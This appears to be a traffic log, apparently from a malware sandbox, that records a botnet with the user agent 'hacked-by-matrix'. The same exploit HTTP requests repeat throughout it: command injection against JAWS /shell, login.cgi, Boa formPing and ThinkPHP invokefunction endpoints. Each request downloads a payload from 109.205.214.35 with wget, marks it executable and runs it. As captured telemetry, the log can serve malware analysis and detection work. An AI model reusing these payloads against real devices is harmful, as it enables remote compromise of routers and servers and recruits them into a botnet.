Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
